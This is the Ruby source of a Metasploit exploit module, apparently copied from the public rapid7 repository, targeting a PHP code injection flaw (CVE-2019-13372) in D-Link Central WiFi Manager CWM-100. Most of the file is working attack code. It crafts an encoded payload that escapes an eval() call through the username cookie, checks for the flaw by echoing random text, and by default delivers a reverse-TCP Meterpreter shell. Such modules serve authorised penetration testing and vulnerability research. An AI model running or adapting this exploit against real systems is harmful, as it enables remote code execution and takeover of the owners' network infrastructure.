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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/http/dlink_central_wifimanager_rce.rb
Views: 11784
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##

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# This module requires Metasploit: https://metasploit.com/download

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# Current source: https://github.com/rapid7/metasploit-framework

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##

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class MetasploitModule < Msf::Exploit::Remote

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  Rank = ExcellentRanking

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  prepend Msf::Exploit::Remote::AutoCheck

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  include Msf::Exploit::Remote::HttpClient

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  def initialize(info = {})

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    super(

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      update_info(

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        info,

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        'Name' => 'D-Link Central WiFi Manager CWM(100) RCE',

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        'Description' => %q{

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          This module exploits a PHP code injection vulnerability in D-Link Central WiFi Manager CWM(100)

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          versions below `v1.03R0100_BETA6`. The vulnerability exists in the

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          username cookie, which is passed to `eval()` without being sanitized.

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          Dangerous functions are not disabled by default, which makes it possible

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          to get code execution on the target.

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        },

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        'License' => MSF_LICENSE,

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        'Author' => [

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          'M3@ZionLab from DBAppSecurity', # Original discovery

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          'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # PoC, metasploit module

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        ],

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        'References' => [

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          ['CVE', '2019-13372'],

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          ['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/' ]

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        ],

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        'Targets' => [ [ 'Automatic', {}] ],

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        'DefaultTarget' => 0,

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        'DefaultOptions' => {

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          'PAYLOAD' => 'php/meterpreter/reverse_tcp',

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          'SSL' => true,

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          'RPORT' => 443

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        },

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        'Platform' => %w[php],

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        'Arch' => [ ARCH_PHP ],

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        'DisclosureDate' => '2019-07-09',

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        'Notes' => {

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          'Stability' => [ CRASH_SAFE ],

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          'SideEffects' => [ IOC_IN_LOGS ],

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          'Reliability' => [ REPEATABLE_SESSION ]

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        }

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      )

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    )

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    register_options(

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      [

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        OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])

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      ]

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    )

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  end

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  def inject_php(cmd)

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    encode_char = ->(char) { "%#{char.ord.to_s(16).rjust(2, '0')}" }

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    payload = "',0,\"\",1,\"0\")%3b#{cmd.gsub(/[;\s]/, &encode_char)}%3b//\""

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    res = send_request_cgi(

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      'method' => 'GET',

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      'uri' => normalize_uri(target_uri, 'index.php', 'Index', 'index'),

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      'cookie' => "username=#{payload};password="

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    )

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    res ? res.body[/^(.*?)<!DOCTYPE html>/mi, 1] : nil

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  end

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  def check

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    rand_text = Rex::Text.rand_text_alphanumeric(rand(4..10))

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    if inject_php("echo \"#{rand_text}\"")&.chomp == rand_text

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      return Exploit::CheckCode::Vulnerable

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    end

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    Exploit::CheckCode::Unknown

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  end

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  def exploit

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    inject_php(payload.raw)

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  end

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end

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